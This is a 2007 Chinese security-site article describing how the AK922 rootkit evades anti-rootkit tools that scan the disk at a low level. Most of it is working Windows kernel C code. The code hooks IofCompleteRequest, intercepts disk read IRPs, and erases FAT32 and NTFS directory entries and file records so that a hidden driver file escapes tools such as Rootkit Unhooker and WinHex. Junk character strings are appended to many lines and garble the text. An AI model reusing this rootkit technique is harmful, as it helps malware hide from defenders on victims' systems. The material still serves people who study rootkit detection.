| 网站首页 | 新闻中心 | 系统安全 | 网络安全 | 安全技术 | 下载中心 | 安全365社区 |
安全365
收藏本站
设为首页
会员登录:
站内搜索: 新闻中心 系统安全 网络安全 安全技术 下载中心
| 安全技术首页 | 技术研究 | 技术应用 | 数据安全 | 企业专区 |
突破磁盘低级检测实现文件隐藏
突破磁盘低级检测实现文件隐藏
作者:Azy 文章来源:赛迪网 点击数: 更新时间:2007-10-23 1:44:39
目前,一些已公开的主流anti-rootkit检测隐藏文件主要有两种方法:第一种是文件系统层的检测,属于这一类的有icesword,darkspy,gmer等。第二种便是磁盘级别的低级检测(Disk Low-Level Scanning),属于这一类的ark也很多,典型代表为rootkit unhooker,filereg(is的插件),rootkit revealer,blacklight等。当然,还有一些工具,它们在应用层上通过调用ZwQueryDirectoryFile来实施检测。 D4t,:_M  
  驱动也好,应用也罢,说白了就是直接或间接发送IRP到下层驱动。第一类的发送到FSD中(fastfat.sys/ntfs.sys),第二类被发送到磁盘驱动(disk.sys),而后IRP便会携带相应的文件信息返回,这时上层应用再根据返回信息进行处理和判断。但是由于Disk级比FS级更底层,IRP返回给我们的是更加接近数据原始组织方式的磁盘扇区信息,所以在Disk层上实施文件检测可以得到更令人信服的结果。但这并不等于说这类检测不能被击败。本文就将介绍一种绕过该类检测的实现方法,当然,这也是在AK922中使用的。 ;%MEC=][t#  
  对于要实现文件隐藏的RK,与其说是“绕过”,还不如说是“拦截” -- 挂钩某些内核函数调用,以便在返回上层之前我们有机会过滤掉待隐藏文件的信息。 T~~PaX# G  
  AK922采用的方法是Hook内核函数IofCompleteRequest。这个函数很有意思,因为它不仅是一个几乎在任何驱动中都要调用的函数,而且参数中正好含有IRP。有了IRP,就有了一切。这些特性决定了它很适合做我们的“傀儡”。但更重要的是,一般在驱动中调用IofCompleteRequest之时IRP操作都已完毕,IRP中相关域已经填充了内容,这就便于我们着手直接进行过滤而不用再做诸如发送IRP安装完成例程之类的操作。 'k>d / B4  
  下面就着重说一下工作流程: uhG%&rM'  
  首先,判断MajorFunction是不是IRP_MJ_READ以及IO堆栈中的DeviceObject是否是磁盘驱动的设备对象,因为这才是我们要处理的核心IRP,所有ark直接发送到Disk层的IRP在这里都可以被拦截到。 o*7Z(BPX  
  接下来的处理要特别注意,进入到这里时IRQL是在APC_LEVEL以上的,因此我们不能碰任何IRP中的用户模式缓冲区,一碰极有可能蓝,也就是说我们不能直接处理相关磁盘扇区信息,而必须通过ExQueueWorkItem排队一个WorkItem的方法来处理。除此之外,由于Disk层在设备堆栈中处于靠下的位置,大部分IRP发到这里时当前进程上下文早已不是原始IRP发起者的进程上下文了,这里的发起者应理解为ark进程。幸运的是在IRP的Tail.Overlay.Thread域中还保存着原始ETHREAD指针,为了操作用户模式缓冲区,必须调用KeAttachProcess切到IRP发起者的上下文环境中,而这个工作只能在处于PASSIVE_LEVEL级上的工作者线程中执行。在DISPATCH_LEVEL级上,做的事越少越好。 _;_ _|'0E  
  刚开始我还分两种情况进行处理:因为并不是所有的IRP都不处在原始上下文中,比如icesword发的IRP到这里还是处在icesword.exe进程中的,这时我认为可以不用排队工作项,这样就可以节省很多系统资源,提高过滤效率。于是我试图在DISPATCH_LEVEL级上直接操作用户缓冲区,但这根本行不通。驱动很不稳定,不一会就蓝了。故索性老老实实地排队去了,然后再分情况处理。代码如下: >2J/3K  
r]Y$_[f43  
// 处理Disk Low-Level Scanning 3q3FT5dg  
if(irpSp->MajorFunction == IRP_MJ_READ && IsDiskDrxDevice(irpSp->DeviceObject) && irpSp->Parameters.Read.Length != 0) k4;P\Y!Q  
{    w&Z)FX)n  
        3NFgxQ ;  
    orgnThread = Irp->Tail.Overlay.Thread; aMp .q#V  
    orgnProcess = IoThreadToProcess(orgnThread); Eu]*FK`U1Z  
        YI,Pj`T5  
    if(Irp->MdlAddress) (I4puC{ i  
    {        `U1Uf&n\  
        UserBuffer = (PVOID)((ULONG)Irp->MdlAddress->StartVa + Irp->MdlAddress->ByteOffset); I~kh\U  
            G5v `+pi  
        // UserBuffer必须有效 QYl7{  
        if(UserBuffer) F3(\vw:"  
        {                    [QialDr7Bx  
            >c/w9~ Kd  
            if(KeGetCurrentIrql() == DISPATCH_LEVEL) XWZ Hp~H  
            {                    [2/[zQ  
            \5&H+s  
                RtlZeroMemory(WorkerCtx, sizeof(WORKERCTX)); b)w?m _tw  
                ) \Y~a  
                WorkerCtx->UserBuffer = UserBuffer; ]p5+m U  
                WorkerCtx->Length = irpSp->Parameters.Read.Length; %md 1/  
                WorkerCtx->EProc = orgnProcess; C>4$JR  
                |.;Q ?4h;  
                ExInitializeWorkItem(&WorkerCtx->WorkItem, WorkerThread, WorkerCtx); ^,MA5pj5v  
                                0Tjr_]*$Y  
                ExQueueWorkItem(&WorkerCtx->WorkItem, CriticalWorkQueue); g-|n6" Df  
            } NZ^^gE  
        } Mi%/dE  
        L;+X9}ve*  
    } (UfMH4  
} c/`|J_^  
  Q ~B;hgMw  
B (h1%O1  
  来到工作者线程,到了PASSIVE_LEVEL级上,切换上下文之后,似乎安全多了。但是以防万一,操作用户模式缓冲区之前还是要调用ProbeForXxx函数先判断一下。相关代码如下: 'YftZJU  
0"C"oFf  
VOID WorkerThread(PVOID Context) <7W}7Y  
{ [<d]Es  
    KIRQL irql; .m5_DuK%  
    PEPROCESS eproc = ((PWORKERCTX)Context)->orgnEProc; );-E/oA3H  
    PEPROCESS currProc = ((PWORKERCTX)Context)->currEProc; rbi @GRf2  
    //PMDL mdl; A dX #C?4  
        !FF] !{  
ZnX|^28  
    if(((PWORKERCTX)Context)->UserBuffer) nISlVN^e  
    { IIz 4 >#7  
        if(eproc != currProc) qi-~{0|"  
        { :UzXOz  
L*A\@4V  
            KeAttachProcess(eproc); X * ~rG<  
 N8e9 *k  
            __try{ z0gXD<}7  
            E!'qTmF&  
                // ProbeForWrite must be running <= APC_LEVEL B+p')q  
                ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1); B<Q])^~I`  
                HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length); O~7lh1!a  
            } AxBQ,Knp  
=$".Txt  
            __except(EXCEPTION_EXECUTE_HANDLER){ Gt z62"IvH  
Cx&Hc9F  
                //DbgPrint("we can't op the buffer now :-("); g=av?6>y  
                KeDetachProcess();    Q<T*9`{U  
                return; eo u>eB~  
            } `(riR+qo  
            \tK|f]jI  
            KeDetachProcess();    |0ZFz-@Z^z  
            BEz;Q8;  
        }else{ f:w~7,\  
yg ?}*Q  
            __try{ H}r],_!$  
            P x0~R;W  
                // ProbeForWrite must be running <= APC_LEVEL RXX]DP_``  
                ProbeForWrite(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length, 1); Gt^tPW$xu  
                HandleAkDiskHide(((PWORKERCTX)Context)->UserBuffer, ((PWORKERCTX)Context)->Length); eFelT{  
            } _-yE$]92  
MrU Cby  
            __except(EXCEPTION_EXECUTE_HANDLER){} ag]~FS$*  
        } C%yS}O y`  
    &L cB@ !  
    } ,RRFoHO7x  
} 98Fw!   
a8YoQ :r4  
  准备工作终于算是做得差不多了,下面就开始真正涂改磁盘扇区内容了。这里将涉及到FAT32和NTFS磁盘文件结构,我先把要用到的主要结构列出来,其余的大家可以参考《NTFS Documentation》。 (jWN&@m  
a'c/mBTO  
typedef struct _INDEX_HEADER{ v+!!CfA#  
    UCHAR            magic[4]; IG?'<M??  
    USHORT            UpdateSequenceOffset; wqe\v4n{P]  
    USHORT            SizeInWords; ikn3k7  
    LARGE_INTEGER    LogFileSeqNumber; |8v^"   
    LARGE_INTEGER    VCN; _JK ~kU>Y  
    ULONG            IndexEntryOffset;    // needed! ~%dY>eX  
    ULONG            IndexEntrySize; )Q?qGd  
    ULONG            AllocateSize; s>PQ/ T,  
}INDEX_HEADER, *PINDEX_HEADER; ULme:nkV*  
aOrS .2I  
CQU3_H  
typedef struct _INDEX_ENTRY{ u.ORRCn?  
    LARGE_INTEGER        MFTReference; =f5g3 &tw  
    USHORT            Size;                // needed! ~uoO'us  
    USHORT            FileNameOffset; M@s6~e8i  
    USHORT            Flags; VIt*^u  
    USHORT            Padding; tW/?m\R,0  
    LARGE_INTEGER        MFTReferParent; @JI#9O`  
    LARGE_INTEGER        CreationTime; yB&Ea%[  
    LARGE_INTEGER        ModifyTime; C$smq>  
    LARGE_INTEGER        FileRecModifyTime; 6K=AVHD  
    LARGE_INTEGER        AccessTime; 3 G[d,A  
    LARGE_INTEGER        AllocateSize; kG/pnPe  
    LARGE_INTEGER        RealSize; aC* `4tXQ  
    LARGE_INTEGER        FileFlags; 0FYd p8  
    UCHAR            FileNameLength; ]fcsO[>  
    UCHAR            NameSpace; 68]3*o{,C  
    WCHAR            FileName[1]; noQIF:  
}INDEX_ENTRY, *PINDEX_ENTRY; ]x2 MpH]  
e .vF CZu  
  在读取磁盘文件信息时每次都是以一个扇区大小(512 bytes)的整数倍进行的,如果不了解相应卷的组织形式和数据结构,那么感觉就是数据多而繁杂,搜索效率也很低。但辅以上述结构便可快速定位待隐藏文件并进行涂改。这里不得不说一句,算法的高效是很重要的,如果采用暴力搜索的方式,那么系统BSOD的概率会大大增加。 _?fAM}Xf4  
  在FAT32卷上,当AK922搜索到文件AK922.sys的目录项时,将其0x0偏移处的文件名的第一个字节置为"0xe5",即标记为删除。这样即可达到欺骗ark的目的。但为了更加隐蔽,不让winhex察觉出来,最好把文件名全部清0。 oUa  i|W  
  处理NTFS卷稍微麻烦些,文件记录和索引项都要抹干净,具体实现见代码,这里不再赘述。 V`R]9rQ  
fpm"k^  
VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen) apZ57> DA  
{ H&N (jvd  
    ULONG i; 9pFa/W-L  
    BOOLEAN bIsNtfsIndex; 7VTI%  
    BOOLEAN bIsNtfsFile; Nr@8    
    ULONG offset = 0; >]% N k)  
    ULONG indexSize = 0; AaT=8Fc\p  
    PINDEX_ENTRY currIndxEntry = NULL; QT;+9%xr  
    PINDEX_ENTRY preIndxEntry = NULL; Cg,FkhT  
    ULONG currPosition; y2T]Go3  
' [Yg^h  
    _pj 1Kcx  
    bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0); f|tJ\Y,Ss  
    bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0); *B"Nq5iU  
h, 9r-R  
    if(bIsNtfsFile == FALSE && bIsNtfsIndex == FALSE) K:=s ;"Sd  
    {            %v8$. QkS  
    @GN&&vztS  
        for(i = 0; i < BufLen/0x20; i++) |#j  $X 0  
        { g) z1fbaze  
            if(!_strnicmp(UserBuf, fileHide, 5) && !_strnicmp((PVOID)((ULONG)UserBuf+0x8), fileExt, 3)) o`|r SY5p  
            { $_?W_y  
rPM ~!%z  
                *(PUCHAR)UserBuf        = 0xe5; VqI_&_vQ  
                *(PULONG)((ULONG)UserBuf + 0x1)    = 0; -yh"|f  
 !oG  
                break; AVbFgY}%V  
                    XcOcQq}E&m  
            } tMR2.g\  
wAgo\;vM4  
            UserBuf = (PVOID)((ULONG)UserBuf + 0x20); {wZNyN!~  
        C2SZFpX  
        } JC9:W(~71?  
6 H^nb1  
    } else if(bIsNtfsFile) { m@k+/>~v  
~}Yd*8/  
        //DbgPrint("FILE0..."); J%I9>@G{  
eLPk>7Hqz  
        for(i = 0; i < BufLen / FILERECORDSIZE; i++) oiMgPth  
        { CjlN:g  
            if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9)) m< G  
            { x[ LTP =q  
                memset((PVOID)UserBuf, 0, 0x4); rkL2TDw0  
                memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18); f7`UvP=  
                break; wYX R1D5  
            } r;Q_+^/  
                TjZ<3872--  
            UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE); D(byN."W  
                XnXw!Hyd\  
        } CwT0-+?I  
            kU9=t=67U  
    } else if(bIsNtfsIndex) { ac5app:}s  
                            1<4\] E%  
        //DbgPrint("INDX..."); '}@%'N~k  
        // Index Entries 26%i~5<  
        ,(Br *>o  
        offset = ((PINDEX_HEADER)UserBuf)->IndexEntryOffset + 0x18; W>6 a8 5  
        indexSize = BufLen - offset; 3g  <C  
        currPosition = 0; $I69P  
ss#1   
        currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset); G~IQ=  
        //DbgPrint(" -- offset: 0x%x indexSize: 0x%x", offset, indexSize); gR6^&at&  
                TAXt`C$;,  
        while(currPosition < indexSize && currIndxEntry->Size > 0 && currIndxEntry->FileNameOffset > 0) _tT |pm  
        { [@R  |X  
            if(!_wcsnicmp(currIndxEntry->FileName, hideFile, 9)) gwhe@&zOmc  
            { [,"  t@  
                memset((PVOID)currIndxEntry->FileName, 0, 18); xjk/(2  
u59bpbT   
                if(currPosition == 0) CQ8p.z}K  
                { Lz, X '  
                    ((PINDEX_HEADER)UserBuf)->IndexEntryOffset += currIndxEntry->Size; sBL4-M  
                    break; ?e?]`7#  
                } FACW`f  
1GneyN(  
                preIndxEntry->Size += currIndxEntry->Size; :d28JdH|=  
                uj+=~p9@d  
                break; oejanQDS  
            } \MOVB2EU#Y  
VHU]_c  
            currPosition += currIndxEntry->Size; ~YQuB:[  
            preIndxEntry = currIndxEntry; &,Wy!,kg@T  
            currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry->Size); & HP&v#!~  
                    8t1[ WC].  
        } %WLm6Coi  
    } ?m &(^a  
} ~awe+2V/G  
m}>f#.iP
文章录入:郝丽    责任编辑:洋葱头 
  • 上一篇文章:

  • 下一篇文章: 没有了
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)
     
     
     
    深入细说磁盘的碎片整理
    全面解析磁盘分区格式
    突破QQ好友最多加到500人
    设置磁盘读写权限 彻底封
    尽量避免QQ产生磁盘碎片
    突破QQ网络硬盘共享人数
    一步一步教你如何配置RA
    如何确定哪些用户在驱动
    远程备份磁盘分区
    如何获得某个用户的磁盘
    站长邮箱:webmaster@anquan365.com
    联系电话:86-10-67634029 点击这里给我发消息

    Copyright © 2006-2008 www.anquan365.com 北京华安普特网络科技有限公司 版权所有